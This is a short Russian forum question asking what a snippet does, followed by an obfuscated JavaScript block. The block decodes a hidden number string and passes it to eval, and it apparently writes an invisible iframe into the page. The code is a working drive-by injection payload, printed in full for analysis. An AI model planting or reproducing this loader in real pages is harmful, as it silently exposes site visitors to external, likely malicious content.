Подскажите, пожалуйста, что выполняет сей код?
<script>
try {
q = document.createElement("p");
a = (q) ? "appendC" : 12;
q[a + "hild"]("" + n);
} catch (qw) {
f = (q) ? "fromCharCode" : 2;
try {
eval("a=prototype");
} catch (zxc) {
e = window["eva" + "l"];
n = "104.90.800.999.792.1053.872.909.880.1044.368.1071.912.945.928.909.320.351.480.945.816.1026.776.981.808.288.920.1026.792.549.272.936.928.1044.896.522.376.423.968.999.824.999.928.450.368.891.936.414.792.891.376.945.880.414.792.927.840.567.400.306.256.990.776.981.808.549.272.639.888.999.824.972.808.387.272.288.920.891.912.999.864.972.840.990.824.549.272.873.936.1044.888.306.256.918.912.873.872.909.784.999.912.900.808.1026.488.306.880.999.272.288.776.972.840.927.880.549.272.891.808.990.928.909.912.306.256.936.808.945.824.936.928.549.272.450.272.288.952.945.800.1044.832.549.272.450.272.558.480.423.840.918.912.873.872.909.496.351.328.531.104.90".split(".");
h = 2;
s = "";
if (window.document)
for (i = 0; - 160 + i < 0; i = 1 + i) {
k = i;
s = s + String[f](n[k] / (i % (h) + 8));
}
e(s);
}
}
</script>